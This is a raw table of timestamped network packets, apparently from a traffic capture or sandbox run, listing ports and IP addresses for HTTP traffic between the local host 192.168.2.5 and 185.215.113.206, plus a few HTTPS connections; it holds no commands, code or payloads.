Nov 25, 2024 18:28:43.516911030 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.516989946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.517843008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.517857075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.517868996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.517893076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.517935991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.518716097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.518774986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.518850088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.518892050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.519689083 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.519742966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.519776106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.519829035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.520555019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.520602942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.520692110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.520734072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.521511078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.521523952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.521564007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.522505999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.522520065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.522559881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.523369074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.523384094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.523431063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.524233103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.524281025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.524774075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.524893045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.525049925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.525137901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.525155067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.525202990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.526014090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.526026964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.526086092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.526113033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.526868105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.526930094 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.526946068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.526982069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.527772903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.527930975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.527996063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.530837059 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.531646013 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.531665087 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.532147884 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.532161951 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.536411047 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.536429882 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.536504984 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.536596060 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.536596060 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.537601948 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.537612915 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.550134897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.550154924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.550201893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.550225973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.550443888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.550483942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.550522089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.550565958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.551424026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.551482916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.551682949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.551749945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.552016973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.552069902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.552633047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.552664995 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.552685022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.552700043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.553467989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.553517103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.553647041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.553756952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.554351091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.554399014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.554836035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.554902077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.555247068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.555294037 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.587548971 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:43.590078115 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:43.590101957 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:43.590857983 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:43.590864897 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:43.590918064 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:43.590926886 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:43.590977907 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.590997934 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.591053963 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.591065884 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.592080116 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.592191935 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.592278957 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.592287064 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.592303991 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.592353106 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.621505976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.621565104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.621632099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.621778011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.621988058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.622026920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.622066975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.622109890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.622786045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.622828007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.622935057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.622972965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.623672962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.623718977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.623975039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.624053001 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.624059916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.624119997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.625003099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.625050068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.625080109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.625123024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.625782013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.625833988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.625849009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.625864983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.626605988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.626660109 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.627263069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.627310991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.627393007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.627435923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.627784014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.627836943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.627867937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.628068924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.628757954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.628806114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.628874063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.628977060 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.629761934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.629812002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.629842043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.629878044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.630505085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.630567074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.630604982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.630660057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.631388903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.631443024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.631467104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.631510973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.632553101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.632586002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.632595062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.632729053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.700681925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.700741053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.700758934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.700787067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.701165915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.701221943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.701277971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.702044010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.702088118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.702090979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.702128887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.702847958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.702929974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.702948093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.703018904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.703783989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.703835011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.703870058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.703912020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.704703093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.704722881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.704771042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.705581903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.705665112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.705735922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.705775976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.706461906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.706527948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.706562996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.706868887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.707372904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.707421064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.707540989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.707741976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.708287954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.708340883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.708353043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.708408117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.709184885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.709242105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.709358931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.709395885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.710098028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.710182905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.710221052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.710273027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.711041927 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.711092949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.711095095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.711141109 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.711894035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.711937904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.711977959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.712831974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.712905884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.712934017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.712946892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.713769913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.713812113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.713917017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.713956118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.714668989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.714760065 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.714772940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.714811087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.715559006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.715605974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.715696096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.715739012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.716454983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.716557026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.716600895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.717315912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.717370987 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.717446089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.717493057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.718239069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.718287945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.718307018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.718385935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.719140053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.719197035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.719230890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.719268084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.720065117 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.720118999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.720170021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.720274925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.720957041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.721000910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.721143007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.721189976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.721898079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.721946955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.721970081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.722007990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.722747087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.722785950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.722897053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.722940922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.723908901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.723968029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.724173069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.724236012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.725055933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.725116014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.725142956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.725274086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.725948095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.725997925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.726021051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.726062059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.726748943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.726797104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.726819992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.726860046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.727576971 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.727628946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.727663994 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.727705002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.728230953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.728286982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.728370905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.728418112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.729063034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.729115009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.729125977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.729176998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.729927063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.730087996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.745743036 CET	443	49847	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:43.748194933 CET	49847	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:43.748205900 CET	443	49847	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:43.748579025 CET	443	49847	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:43.749099970 CET	49847	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:43.749156952 CET	443	49847	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:43.751296043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.751362085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.751367092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.751413107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.751569986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.751617908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.751683950 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.751770020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.752533913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.752580881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.752618074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.752667904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.753508091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.753555059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.753581047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.753623009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.754230022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.754281998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.754369020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.754414082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.755146027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.755212069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.755245924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.755290985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.756014109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.756063938 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.756258011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.756302118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.756917000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.757035971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.768971920 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.769013882 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.769066095 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.769082069 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.769095898 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.769140005 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.770745993 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.770760059 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.790352106 CET	49847	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:43.793994904 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.794054985 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.794275999 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.794754028 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.794764996 CET	443	49843	13.107.246.63	192.168.2.5
